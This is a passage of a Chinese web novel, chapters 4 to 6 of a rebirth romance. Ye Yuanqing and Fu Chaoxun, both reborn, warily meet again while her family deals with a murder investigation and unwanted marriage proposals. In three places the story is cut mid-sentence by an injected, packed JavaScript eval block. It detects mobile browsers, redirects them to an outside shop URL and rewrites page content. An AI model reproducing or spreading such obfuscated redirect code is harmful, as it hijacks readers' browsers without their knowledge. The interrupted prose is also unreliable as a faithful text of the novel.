右手边的叶宁扯了扯叶元倾的衣袖道:“姐姐,傅朝寻一直在看你。” 叶元倾还在晃神中,闻言抬起头来,只见傅朝寻确实直勾勾地看着她。 叶宁看了看叶元倾,又看了看傅朝寻,觉得这二人有点不对劲,傅朝寻好像从一进太师府的大门就盯着叶元倾看,并且看叶元倾和看别人的眼神还不一样。 难道他们真的有什么过节? 饭后叶琛带着大伙到后院喝茶。 去后院的路上,叶绍凑过来问叶元倾:“元倾妹妹,你和傅朝寻认识吗?” 叶元倾放慢了脚步,摇了摇头。 “那他为何那样看你?”叶绍好奇地问。 叶元倾沉默了片刻,看了一眼前面的傅朝阳,又摇了摇头,岔开了话题道:“绍哥哥何时见的我表哥?” 叶元倾不愿回答,叶绍也不再追问,回道:“今早在宴禧楼里见到的,他和几个先生坐在一起聊私塾的事,看到我后就叫住了我,让我转交个东西。” 温衍和叶绍关系很好,从他寄宿在叶元倾家中时就和叶绍成了无话不说的好朋友,像这种传递东西的事情叶绍早就习惯了。 温衍最近办私塾的事情叶元倾知道,温衍还说私塾开课后邀请她过去做女师。 叶元倾心事重重地走得很慢,叶绍和她说几句话就走开了。 前面几个人三三两两地走在一起聊着天,只有傅朝寻一个人安静地走在后头。 叶元倾看着他的背影,又放慢了一点脚步。 他们的距离好像很近,又好像很远。 一群人消失在了回廊里,叶元倾慢悠悠走过去,却不想转身撞上了傅朝寻。 傅朝寻倚在壁角上,一动不动地看着她往他的怀里撞。 她惊了一声,捂着胸口往后退了一步,待看清是他后,神色立马变了。 她极其明显的神情变化,不禁让他微蹙了一下眉头。 叶元倾往前看了一眼,发现大伙已经走的没影了,吸了口气,攥着手绢,问他:“公子找我有事吗?” 很显然他是在等她。 两个人身高体型有很大的差距,她抬头看他时,无形中感到一种很强的压迫感。 他不回答,浓密的长睫随着她微拢的秀眉轻颤着。 她愣了片刻,往一旁挪了两步,准备离开。 他见她要走,这才开了口:“我等你,是想确认一件事情。” 确认一件事情? 什么事情? 他往她跟前走了一步,问道:“你……以前可有见过我?” 她没想到他确认的是这件事情,她忙回道:“春日宴的时候我去过亲王府,见过你一次。” 那时候她还没有重生,远远地看着他,单纯地被他的样貌吸引了。 听到这个回答,他沉默着没有回应,过了一会,指了指她手腕上的红色绳子,又问:“上面不是有三颗白玉珠子吗?怎么只剩两颗了?” 她不知是耳背了还是脑子空白了,傻愣愣地回了一句:“另外一颗不小心弄丢了。” 话说完她就立马后悔了,因为第三颗白玉珠子是他们成婚后他送给她的。 他在试探她。 4. 第 4 章 回廊里,阳光透过镂空的雕花,洒下斑驳的光影落在他的肩头。 他听到她的回答又往前走了一步。 她有些紧张地往后退,看着他如墨如画的眼睛,一时间感觉周围的世界都在天旋地转,转的她意识模糊,竟分不清这是前世还是今生。 眼前的人,是与她同床共枕很多年,且死在她面前,重生后又相遇,既不想与他相认又不愿撒谎的——夫君。 纵使她心性再好,在他这般试探下,也有些慌了。 诸多记忆一涌而来,开始让她惧怕,怕一切重蹈覆辙,怕他突然说一句他也是重生回来的,也怕俩人继续凑在一起过那种窒息的婚姻生活。 在一起的那几年,对于她来说不太好,但也算不上悲哀,起码在他死的时候,他还能拖着残废的身体爬了那么远的路,只是为了见她一面。 现在,眼前的他想要确认,想要确认她是不是和他一样重生而来。 确认了又能如何呢?那如废墟一样的婚姻,还要再来一次吗? 她不想了,真的不想。 所以,她努力冷静着,没再躲避他的目光,解释道:“红绳是我娘亲给我求来辟邪的,上面本来有六颗白玉珠子,以前被我不小心弄丢了几颗,现在只剩两颗了。” 她紧紧看着他,很严肃地问他:“不知公子为何问起这个?你可知,未婚男女是不便谈起私身物件的。” 还没等他回答,她又道:“宁妹妹可能在等我,就先行一步了。” 自始至终,她都没有给他回话的机会。 她绕过他,头也不回地往后院的方向走。 回廊里,她纤瘦的背影就像被风吹落的竹叶,透着一丝幽幽凄凉。 他从她开始回答“另一颗不小心弄丢了”开始,他就再也按耐不住自己的心情了,他不明白心里为何会如此复杂,很难受,又不安。 也有点……想她。 茶宴的时候叶元倾没有看到傅朝寻,回廊谈话之后他没再出现了。申时,傅峥临与大家道别,叶元倾随着众人把他送到门外,这才看到傅朝寻一个人默默地倚在马车旁。 他看到来人,走上前行了礼,然后头也不回地上了马车。 叶元倾躲在人群里看着他,看着马车渐渐走远。 送走了客人,大伙又返回了院子,叶宁把叶元倾留了下来,两个人关进闺房里,说起了悄悄话。 叶宁斜倚在床榻上,缴着粉色的小手绢,脸都要笑开花了,说起话来也比以前害羞:“姐姐,你可知我们在后花园里都聊了什么?” 叶宁藏不住心事,想把所有事情都告诉叶元倾。 叶元倾虽然心事重重,但还是笑问道:“都聊了什么?你说给姐姐听听。” 叶宁掩唇笑道:“我们先是聊了陵国的风景,又聊了京城的美食,还聊了诗词歌赋,最后……又聊到了男女爱情。” 她仰着小脸回味着:“没想到傅峥临竟是个如此开放的人,他与我说起那些情爱故事,竟然一点也不脸红,不仅不脸红,还挑了几句羞人的说给我听。” 她的脸红了,又说:“你看他那个看人的眼神,就跟春天里的风一样温暖。我瞧着,她都与我说了情爱的话了,是不是就真的看上我了,我们是不是可以成婚了。” 叶宁很单纯,又因着上有父母和哥哥疼爱,在诸多事情上会少一些判断。 叶元倾瞧着她娇羞带笑的模样,舍不得说风凉话,只是含蓄道:“傅二公子是挺不错,毕竟是皇家出身,修养可能会比普通公子好一些,但也是见过大世面的人,为人处世,男女情爱,也看的通透,妹妹与他多相处一段时间可能会更了解他。” 叶宁娇羞一笑,道:“姐姐说的不错,所以,我们约了明日见面,他在城西有几家酒楼,我们约在那里见。” 叶元倾问她:“你答应了?” 叶宁点头,满眼里都是掩饰不住的兴奋。 叶元倾抓起她的手,又问:“那你要如何与伯父伯母说?” 虽然今日之事十有八九是成了,但也不能操之过急,傅峥临作为达官贵人家的公子,自然是懂得男女有别的,私下里见面,平常人家可能都会被说闲话,更何况他们这些官家女子呢? 叶宁往她跟前凑了凑,小声说:“我准备让叶绍哥哥陪我去,姐姐放心,有叶绍跟着,就不算与男子私下幽会。” 叶绍是三兄弟里最不靠谱的一个。 叶元倾思索道:“不如这样,我们先推了去青山的事,让叶卓哥哥陪你去见傅二公子。” 叶宁考虑片刻,回道:“那也行,只是二哥哥总有一副老父亲的姿态,让他带着我去见傅峥临,我有点不自在。要不,元倾姐姐也陪我一起去。” 叶元倾本想拒绝,话还未出口,叶宁就搂着她的胳膊撒娇道:“我的好姐姐,你就答应我吧!你不跟着,我会紧张的,况且我们明日说的要一起去青山,只是顺道拐了个弯而已。” 这弯拐的可不小。 叶元倾搁不住她闹,捏了捏她的小脸道:“好,那姐姐明日陪你一起去,不过你答应姐姐,以后把心思藏着点,我可不想看着我妹妹吃了亏。” 叶宁最听她的话,连连点头道:“我听姐姐的,姐姐让我做什么我就做什么。” “你这小丫头,嘴巴就是甜,不过姐姐很喜欢。” —— 叶元倾回到将军府的时候已是傍晚,娘亲温容迎上她,问道:“倾儿怎么回来这么晚,宁儿那里怎么样?” 叶元倾把伯母让她带来的点心递给娘亲,笑回道:“算是成了吧!两个人情投意合,就看亲王府那边了。” 母女俩进了前堂,迎面撞见了往外出的叶元恒。 “哥哥要去哪里?”叶元倾问他。 叶元恒知道妹妹今日去了何处,也知道亲王府的两位公子去了太师府。 他笑回道:“我准备去趟悦令堂,最近有点忙。” 叶元倾扯了一下他的衣袖,道:“哥哥先别走,我有话对你说。” 温容见两个孩子要说话,转身出了门:“我让厨子准备晚饭,你们两个聊。” “哥哥,去你的书房。”叶元倾扯着他的袖子往外走。 二人到了书房,叶元恒笑着打量她,问道:“搞这么神秘做什么?有什么大事发生?或者今天太师府出了什么乱子?” 叶元恒这一天都是人在曹营心在汉,他很想知道傅峥临去太师府以后发生了什么,更想知道突然跟去的傅朝寻去太师府做什么。 “你知道傅朝寻也去了?”叶元倾从他的话语和神情里听出了点意思。 叶元恒回道:“知道,午时我刚和他大哥傅呈延见了面。你不会就是和我说这个吧!” 叶元倾点头:“有点关系。” 叶元恒扯了一把凳子让她坐下:“说说看,今天都发生了什么,傅朝寻去太师府的目的是什么,和这次查的案子是否有关。” 叶元倾坐下来,思索着要怎么说比较合适。 “把你今天看到的都告诉我。”叶元恒最了解自家妹妹,别想藏着掖着。 叶元倾斟酌了一下语言,回道:“伯父和堂兄们也知晓了傅朝寻查案的事情,伯父准备让两个哥哥去悦令堂看看你有没有遇到麻烦。城东的杀人案属于大案件,可能会牵扯到一些官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133900|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员,若是查出来,就算只是极小的枝叶也会跟着遭殃。哥哥可否告诉我,他去悦令堂都做了什么?” 叶元倾反问他。 叶元恒一张俊脸神情变换,搓了一下下巴,回道:“他去找过我两次,每次去话也不说,只是随意转转就走了,也没说他查的案件和悦令堂有关。” “他说,这事可能会牵扯到你,还说悦令堂里有内鬼,让你小心一点。”叶元倾道。 “谁说?” “傅朝寻。” “傅朝寻?”叶元恒有些震惊,“傅朝寻让你告诉我这些?” 叶元倾点头。 叶元恒俯身看了看她,神情突然严肃起来:“妹妹怎么与他认识的?这么重要的事情,查案的每处细节都属于机密要事,他怎么会告诉你?” 叶元倾知道哥哥在担心什么,对他道:“哥哥你先别紧张,可能傅朝寻是想提醒你,但是又不方便直接告诉你,就趁此机会让我传递给你。” 叶元恒还是有些担心:“你可知他是什么样的人?凡是与他扯上关系的,没有一个好下场,他就是他父亲培养出来的一条狗,一条为他大哥铺路的狗。” 显然叶元恒很不看好傅朝寻,语气里都带着轻蔑。 “哥哥说话为何如此难听。”叶元倾蓦地站起身,蹙眉道:“无论他是什么人,依哥哥的教养倒不必说出这种难听的话来。” 傅朝寻这一生被人说的最多的就是:他是他父亲培养出来的一条狗,一条自他一出生母亲就难产而死,父亲狠心拿他当做利器的狗。 叶元恒见妹妹突然动了气,愣了愣,道:“妹妹你维护他?” 叶元倾今日心情本就不好,时下听到这种话莫名地心烦起来。 她甩了一下袖子,向门外走去:“话我带到了,要如何做,你自行定夺。” 她大步出了房间,留下一脸呆愣的叶元恒。 叶元倾疾步往闺房里走,刚拐了个弯就被回府的父亲叫住了。 她跟着父亲到了他的书房。 父亲让她把房门关上,指了指旁边的凳子让她坐下,问道:“听说傅朝寻去了太师府,倾儿可知他去那里做什么?” 现在连父亲也要问一句。 叶元倾看了一眼父亲的神情,如实回道:“他为何去太师府女儿不知,但是他告诉女儿悦令堂里好像有内鬼,让大哥小心着点。” “内鬼?”叶展桡惊了一声,“他为何要告诉你这个?” 叶元倾摇头:“我也不知,方才我已经见到大哥了,把事情告诉他了。” 叶展桡皱着眉头沉思了一会,道:“傅朝寻这个人虽然阴翳了些,但本性应该是不坏的,很多难查的案子都是经过他的手才得以查明,他也从未冤枉过无辜之人,说明他的能力和心性是极好的,怪就怪在他有一个阴险毒辣又强势的父亲。他今日告诉你这些,自是不想在查案的过程中殃及到你大哥,这次的案件很复杂,只要牵扯到了可能整个家族都跟着遭殃。” 叶元倾也知道其中的厉害,她道:“既然如此,让大哥小心一点便是。傅朝寻……他有这个心,也挺难得的。” 叶展桡看了她一眼,突然问:“你们何时认识的?” 叶元倾急忙摇头:“我们不认识。” 叶展桡审视着她的神色,察觉到她有点紧张,沉默了一会未说话。 叶元倾见父亲不再问话,起身准备离开,父亲却冲她压了压手道:“再坐一会,我有事与你说。” “什么事?” “太傅的长孙有意过来提亲,你准备准备。” “什么时候?” “后天。” 5. 第 5 章 太傅的长孙名叫姜齐,今年一十七岁,这两年他不止一次登门求亲,每次都是大张旗鼓地来,然后蔫蔫地走。 别的男儿十七岁都已长成青年模样,唯独他十七岁像个不懂人情世故的半大孩子。他长相清秀,说起话来却很清奇,仗着自己的祖父是太傅,对叶元倾纠缠不清,还扬言无论如何都要把她娶到手。 叶元倾也不知怎的就被他看上了,明明两个人没有任何交集,他却已经“爱她爱的疯狂”,就好像此生除了她叶元倾真的不会另娶一样。 不过他有贼心有贼胆,就是没有耐心。 他每次来都说要如何如何把她娶到手,结果回去以后就不再露头,然后安静了一段时间又开始莫名其妙地过来提亲,继续信誓旦旦地撂下话后又消失的无影无踪。 叶元倾与他相处的时间并不多,说的话也是屈指可数,真不知道他是怎么看上她的。 “父亲。”叶元倾很是无奈:“要不,你和太傅大人说说,让他好好管管这个孙子。” 估计是在家中娇纵惯了,一点也不考虑给她带来的麻烦。 叶展桡搓了把脸,叹气道:“父亲提过好几回了,听太傅的意思,他也想让你做他的孙媳妇。我觉得,姜齐一遍遍地过来提亲,也有他的意思。” 叶元倾自幼就聪明伶俐,不仅学识渊博,还写得一手好字,为人谦逊又很有礼貌,她样貌出众,性情温和,当真是做媳妇的不二人选,放眼整个京城,集这么多优点于一身的女孩儿并不多,再加上她父亲的身份,谁不想把她娶回家。 叶元倾问道:“父亲没有别的办法了?直接不见人不行吗?” 叶展桡理解女儿,安慰道:“倾儿莫要着急,父亲会再想办法,这次先迁就一回,后天随便见见,然后我找借口让他回去。” 叶元倾虽是心里不愿,但是一想到父亲身官要职,也只能暂且忍忍。 叶展桡换了一个话题:“温衍的私塾准备的怎么样了?” 突然说起温衍,叶元倾微愣了一瞬,缴着手绢,慢悠悠地回道:“还不知道,应该差不多了。” 叶展桡审视着她的神色,又问:“你不准备过去帮帮?” 叶元倾垂下眼来,回道:“应该没有我能帮得到的,等开课了,他若请我过去做女师,我便去。” 叶展桡站起身,倒了一杯茶端到她面前递给她,又瞧了瞧她的神色,道:“昨日你舅舅说,想让温衍成家,说他老大不小了,也该成婚生子了。” 温衍今年一十九岁,确实到了成婚的年纪。 叶元倾握着父亲递来的茶杯,沉默了片刻,回道:“若他真想成婚,自然会成的。” 叶展桡了解一点她的心思,问她:“倾儿觉得温衍如何?” 他这般问,颇有意味。 叶元倾搓着手中杯盏,迟钝了片刻,回道:“父亲指的哪一方面?若是论学识,他算是全京城里顶尖的,若是论聪明也是不错的,只是待人过于好了些,好的有时候让人分不清哪些是真心,哪些是刻意。” 叶展桡略有惊讶地看她,他一直以为温衍在她心里是非常特别的存在,没想到她竟回答的这么浅显。 她也不是听不懂他的意思,她只是不想直面回答而已。 温衍应该是喜欢她的,不然温衍的父亲也不会旁敲侧击地总想从他这里挖出她的心思。 如今两个孩子已经长大成人,无论是才华还是样貌,都是非常登对的,又是表亲关系,成婚也不是不可以。 叶展桡思索了一会,侧面问她:“倾儿担心他的身体不好?” 父亲提到身体,自是往男女那方面想的。 叶元倾放下手中杯盏,轻声回道:“以前我问过医师,医师说只要好生医治,他的哮喘病是有望治愈的,当年舅母去世只是意外,和这个无关,我并不担心他的身体不好。” 不担心身体,那担心什么? 叶展桡还想再问,叶元倾却行礼道:“父亲,倾儿有些累了,想回房休息。” 她避着不答,也不知是不是还未确定自己的心意,叶展桡不便再问,收了心思,回道:“那好,倾儿先回去休息,我们改日再聊。” 叶元倾行礼出了书房。 她站在门外,抬头望着西边橙红色的晚霞,心里莫名的凄凉。 前世,傅朝寻死后,他们叶家被满门抄斩,上下几十口人没有一个活下来的。 这一世,无论如何都不能再让悲剧发生了。 —— 傅朝寻和傅峥临离开太师府以后并未回亲王府,而是各奔东西去忙各自的事情。 傅朝寻先去几家药铺拿了点药,又找了一个悦令堂的人审问,直至深夜才回到家中。 东边两处内院的灯还亮着,他顿下脚步看了一眼,然后迈着沉重的步子进了西边的房间。 身边照料他的卫知迎上前来,接过他解下的披风,问道:“公子,傍晚的时候王爷来了一趟,好像有重要事情找您,现在这个时辰也不知王爷睡了没有,您要不要过去看看?” 傅朝寻先进了房间,脱掉了外衣递给他,低声问道:“父亲可有找过大哥二哥?” “找过。”卫知回道:“大公子二公子回来后就去了王爷的书房。” 傅朝寻应了一声,去了偏房洗漱,洗漱完以后,换了一件白色衣裳,走到桌前倒了一杯清茶,拿了一本书看。 卫知见他没有睡觉的意思,关心道:“公子累了一天了,早点歇息吧!” 卫知自十岁时就跟着傅朝寻,跟了好几年,他做事麻利又很有眼色,也最会体贴人。 这些年,傅朝寻所得到的关心,几乎全是来自他这里,他虽只是尽职,关心的话语听起来挺让人舒服的。 傅朝寻继续翻着书:“你先去休息,我还不困。” 卫知应了一声,有些不确定地问:“那公子还要去王爷那里一趟吗?” 他需要听到主子准确回答才能安心离开。 傅朝寻抬眼看了一眼窗外,回道:“不去了,明一早我再去。” 卫知放心出了门。 手中的书一页一页地翻着,傅朝寻却无心看书中内容,自出了太师府以后,他满脑子里都是叶元倾。 他微拢了一下眉头,把书放下,起身走到床边,低头看着前世与她同床共枕过的床,心里很不是滋味。 他今日去太师府,原本只是想看看她,但是瞧着她极其熟悉的眼神,他竟有些慌了。 他开始迫不及待地想要确认,想要确认她是否与他一样重生而来。 在他的试探下终是确认了。 他以为她会很开心地叫他一声“夫君”,万万没想到她会躲的那么匆忙。 她撒了一个连她自己都不会相信的谎,就为了躲避她重生的事情。 他看着她躲避的眼神,恍然明白,原来重活一世,能看到很多不一样的东西。 记得前世他和她在一起的那几年,不好也不坏,在他的认知里,夫妻之间应该就是那样相处的。 他心情不好了就回家见见她。他在外遇到麻烦了,就回家见见她。他受伤了,就回家见见她。他觉得自己快死了,就回家见见她。 那时候他除了只会回家见见她,好像什么也没有为她做过,甚至成婚多年都不知道她的喜好是什么。 那几年的婚姻生活,淡的如同白开水一般。 仔细想,也只能想到在记不清的某个夜晚,在他准备外出办事的时候,她裹着一件氅衣跑出门,一边追着他,一边哽咽道:“傅朝寻,和离书我已经写好了,七日内你若回不来,我就离开家再也不回来了。” 他停在门前,回了她一句“好”就离开了。 那次回来,他受了很严重的伤,迷迷糊糊回到家,看到她正蹲在院中等他。 他跌跌撞撞跑到她跟前,激动地对她道:“元倾,我好像还能再活一段时间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133901|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看着她落了眼泪,听她凝噎着说:“傅朝寻,其实生活也可以很简单的,何苦把自己搞成这副模样呢?人是来享受生活和爱戴的,换一种方式活下去不好吗?” 他不明白她为何突然要说这些话,他抓着她的手往屋里走,一边捂着不断流血的伤口,一边道:“这烂透的人生还有什么可享受的,若是不逼着自己从钢丝绳上走下来,就只能跌落悬崖摔得粉身碎骨。我没有这个命,我只有得到权利才能拼一拼你口中的人生。叶元倾,别妄想一些不可能发生的事情。” 那时候他不知道她听懂了没有,好像自此以后,他再也没有听到她说过类似的话了,也再也没有看到她眼里的温柔。 她好像变了,变得沉默寡言,变得不再叫他夫君,也变得他每次从外面回来都躲着他,避着他。 有一段时间,他绞尽脑汁也没想明白他们的问题出在哪里。 最后一次见她的时候,她哭的泣不成声,那时候他才明白过来,原来不是她变了,是他一点点把她推远了。 天寒地冻的大街上,他拖着断掉的双腿向院门爬去,那段路很长,长到他中间好几次支撑不住想要放弃,但是想见他的执念还是让他强撑了下去。 还好,死的时候,是死在了她的怀里。 他对于自己前世的所作所为没有任何辩驳,他心里很明白自己是一个什么样的人,又在那样的人生里经历了什么事,唯一遗憾的是,他自始至终都没明白别人口中的爱情是什么。 因为只是看了一眼就求她父亲把她许配给他算不算?看到她后心情莫名地很好算不算?外出办事看到漂亮的首饰想给她买一个算不算? 这些算不算爱情? 这么简单,算不算爱情? 他想不明白,直到现在都想不明白。 但是还好,他又有了弄明白的机会。 翌日,他早起后就去了父亲的房间,一进门就看到父亲和王妃以及二哥傅峥临在殿中坐着。 他进屋行了礼,父亲傅柏弘没有让他落坐,只是皱着眉头沉声问:“东街命案一事查的如何?听说牵扯到了将军府的大公子叶元恒。” 他抬头看了一眼父亲的神色,只见他一向严肃的面容比以往更加冰冷。 他沉声回道:“东街命案有些复杂,孩儿尚未查明,依眼前证据来看,此事和叶元恒无关。” 傅柏弘若有所思地看着他,然后看向一旁的傅峥临,问道:“临儿昨日去太师府可有见到叶元恒?” 傅峥临听到问话,忙起身回道:“回父亲,并未见到,不过见到了他的妹妹叶元倾。” “叶元倾?”傅王妃面上立即闪过一抹笑意,问道:“临儿可与她有了接触?” 傅峥临回道:“只是说了几句话。” “那临儿觉得她如何?”傅王妃又问,“可是比叶宁更喜人?” 傅峥临看了看神情放松了一些的父亲,笑回道:“是挺喜人,和外界传的一样,漂亮又聪明,只是不如叶宁活泼。” 傅王妃道:“叶家的两个女儿都很优秀,娘都喜欢。本来皇帝赐婚之前娘是打算带着你大哥去将军府提亲的,只可惜晚了一步,若是去年你大哥与我提起的时候,我就带他去提亲就好了,也不至于错失了这么好的人。” 傅峥临见娘亲懊悔,开解道:“娘不必可惜,大哥对她也只不过是一时喜欢,谈不上感情至深,如今娶个公主岂不是更好。” 傅王妃听了没觉得多宽慰,因为她心里明白皇帝突然赐婚的真正目的是什么。 她默了一会,又道:“今日我听太傅府的人说,姜齐从洛城回来了,打算明日去将军府提亲,这孩子倒是挺痴情的,被拒绝了那么多回都没有放弃。” 傅峥临笑了一声,道:“姜齐懂什么,怕是想让叶元倾进家门的另有其人。” 他说罢,突然意识到了什么,连忙看了一眼父亲。 他好像说错话了。 6. 第 6 章 傅柏弘是一个非常严厉的父亲,单从他手里出来的家规就有几十条,虽然平日里他对傅峥临娇惯了一些,但也不喜欢他武断地去下一些结论,尤其是牵扯到官家。 姜齐频繁向将军府提亲的目的,对于经常混在公子哥里的傅峥临来说自是听说了些什么,虽然不知道是不是真的,但是姜齐的奇怪行为似乎又表明传言不假。 傅柏弘此时的神情确实不太好,好像听懂了他话里的意思。 傅王妃见傅峥临紧张地愣住,急忙笑道:“好姑娘自会人人惦记的,姜齐正是青春气盛的年纪,爱慕叶元倾也没什么稀奇,说不定他明日去将军府提亲,还真能成呢!” 傅峥临急忙附和道:“娘亲说的是。” 傅峥临坐了下来,再去看父亲,只见他眉头舒展了许多。 傅朝寻还在一旁站着,从他进门直到现在父亲都没有让他落座。 他安静地听着那母子俩谈起叶元倾,心里极不舒服,但是时下又不能表明什么,毕竟重活一世,首要目的是不能再重蹈覆辙,他的所言所行都必须谨慎小心。 “寻儿。”傅柏弘突然叫他。 他急忙颔首道:“父亲,何事?” 也不知是不是本能反应,父亲每次叫他“寻儿”的时候,他都能预感到有重要事情发生。 傅柏弘起身走到他跟前,拍了拍他的肩膀,道:“过几日你大哥会去禹国见公主,届时你跟着一起过去,一是保护他的安全,二是想办法把公主的护卫除掉。” 他一次交代了两件事情,话出口时似乎非常轻松,杀一个御林军护卫似乎也非常轻松。 但是对他傅朝寻来说并不轻松,他需要提前部署好一切,然后赌上性命,拿着百分之五十的把握去拼一拼,搏一搏。 以往,父亲这样交代的时候,他都会毫不犹豫地对他说:“孩儿一定不辱使命。” 哪怕豁出去性命。 可是今天,他却迟疑了,他沉默了一会才回道:“孩儿尽力。” 傅柏弘挥手让他下去,把傅峥临单独留了下来。 傅朝寻和傅王妃一起出了门,傅王妃突然叫住他。 他看着眼前这个在他娘亲刚难产而死就急着上位的妇人,始终都喊不出一声“娘”。 傅王妃掏出一张纸笺递给他,笑说:“我让媒人把京城里几个不错的姑娘记了下来。身高,年龄,以及爱好全都在这上面,寻儿看看有没有中意的,若是有,你告诉娘,娘带你去提亲。” 傅朝寻捏着纸,看着上面几个不算陌生的名字,没有回话。 这些姑娘他有些印象,好像全都给大哥二哥说过亲,也全都是大哥二哥看不上的。 他又看了一遍,确认没有他想看到的名字,就把纸笺还给了她,说:“有劳您费心了,婚事我自有定夺。” 婚事他自有定夺? 难道他有想娶的人? 傅王妃呆愣了一瞬,略有尴尬地把纸笺收了起来。 —— 叶元倾一早起来就去了太师府,她到府上的时候叶宁已经准备完毕,上前牵起了她的手,笑道:“姐姐你可来了,我一夜都未睡好,天不亮就起床了。” 叶元倾打量着她,打趣道:“瞧着你这一身装扮,比新娘子都要好看,这不得把傅二公子的魂都勾了去。” 叶宁害羞地捂住了脸:“好姐姐真是会说笑,人是要见的,自然要好好装扮一番,哪像你,今日出家门还要穿的这么寒酸。” 叶元倾扯了扯身上的青色衣裳,笑说:“这哪里寒酸了,这一身衣裳足够换一袋米面了,你可知这一袋米面能让多少人吃饱饭。” 叶宁羞愧道:“是是是,是妹妹说错了话,改明个妹妹也卸了这些繁琐的首饰和这身耀眼的衣裳,拿它们去换米面。” 叶元倾忙道:“妹妹说笑,姐姐并无别的意思。” 她忙岔开了话题问:“卓哥哥呢?他今日可是愿意陪我们去?” 她这边话音刚落,叶卓就踏门进来。 叶卓比以往穿的都精贵,腰封上的绿宝石看起来格外惹眼。 “元倾妹妹。”叶卓叫了一声,走到她跟前,瞧着她粉白的脸蛋,温声道:“天还早,你该多睡会儿再来。” 叶元倾转身走到叶宁身后,搭了一下她的肩膀,回道:“我是怕妹妹等急,哪敢贪睡。” 叶卓应道:“我在马车里放了软垫子,妹妹若是困了可以小憩一会。” 叶元倾没有回话,帮叶宁拢了一下轻纱:“准备好了就去吧!温衍今日要来,我不能在外逗留太久。” 叶宁看她一眼,笑说:“我说姐姐今日面色这么好,原来是要见表哥了。” 叶元倾害羞一笑:“妹妹胡说什么,还不快去见你的如意郎君。” 她说着,拉着叶宁的手就往门外走。 叶卓跟上来,低声问道:“温衍今日何时要来?” 叶元倾回望他一眼,问:“卓哥哥找他有事?” 叶卓回道:“听说他要办私塾,想问问他有没有需要我帮忙的。” 三人走到马车前,叶元倾才回道:“我也不知他何时到将军府,不如回头我告诉他,让他来见你一趟。” 叶卓扶着叶宁上了马车,然后把手递给她,笑道:“不必这么麻烦,从酒楼回来后,我随妹妹到将军府见他便是。” 叶元倾没有牵他的手,把手递给了叶宁,叶宁把她拉了上去,说:“二哥哥,人家表兄妹要见面,你过去做什么,明日再见温衍不也一样?” 叶卓收回了僵在半空的手,笑了笑没再说话。 三人很快到了傅峥临邀约的酒楼。 叶宁先下了马车,然后扶着叶元倾下来,酒楼的门子接过叶卓手里的缰绳,把马车牵到了后院。 叶元倾打量了一眼酒楼的牌子,她好像认得这个酒楼,不想竟是傅峥临的。 酒楼的伙计引着他们到了二楼,笑说:“傅公子还没有到,三位先到客房里等一会。” 伙计推开一间客房请他们进去。 三人面面相觑了一眼,进了房间。 说来,傅峥临要约叶宁,应该早到才对,可为何到现在还没有来呢! 三人坐下来喝了一会茶,叶宁有些坐不住,想出门瞧瞧。 叶卓拍了一下他的肩膀,起身道:“妹妹且坐着,我出去看看。” 叶卓出了房间,到楼下寻问了店家,店家说傅峥临一早托人过来,说遇到了一些事情,可能要晚来一会。 店家觉得不好意思,便先给他们上了饭菜。 三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133902|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都没有胃口,坐了好一会才听到楼下有了动静。 傅峥临刚一进门就急忙弯身行礼道歉:“实在不好意思,父亲临时安排了一些事情,一时走不开,让三位久等了。” 叶卓回礼道:“傅公子不必客气,快坐。” 傅峥临挨着叶宁坐下来,从衣袖里掏出一个精致的盒子,打开来,笑道:“我也不知要送宁妹妹什么礼物,这方手帕是我托人买的,上面的刺绣出自苏州师傅之手,精致的很。妹妹快看看喜不喜欢。” 叶宁开心地捏起帕子,看到上面绣的一对鸳鸯,脸颊立马红了,攥在手里没再放下来。 叶卓看着二人你侬我侬的眼神,扯了一下叶元倾的衣袖,对傅峥临道:“你们两个先聊,我带着元倾妹妹到楼下的铺子买些点心。” 叶元倾随着他站起了身,知道他是在给二人制造独处的机会。 傅峥临起身送他们出了门。 叶元倾跟着叶卓下了楼,对他道:“卓哥哥要买什么且去便是,我在这里等着。” 叶卓看着她笑道:“我哪能把你一人丢在这里,我没有什么可买的,我陪着你。” 他说着,指了指旁边的桌椅:“我们过去喝点茶。” 叶元倾点头,走到桌前坐下。 叶卓要了一壶上好的茶,倒了一杯递给她,道:“今天本来要带妹妹去青山吃果子,因着宁儿的事情没去成,妹妹莫见怪。” 叶元倾回道:“卓哥哥不必客气,我们改日再去便是。” 叶卓应道:“好,我们改日再去。” 他默了一会,又道:“昨日我听叶绍说,温衍的父亲想让他成婚,还找了媒人,打听了京城的几位姑娘。我以为……他有了心上人。” 叶元倾不明白他为何突然提起温衍,喝了口茶没有说话。 叶卓看了一眼她的神色,问道:“元倾妹妹可有喜欢的人?” 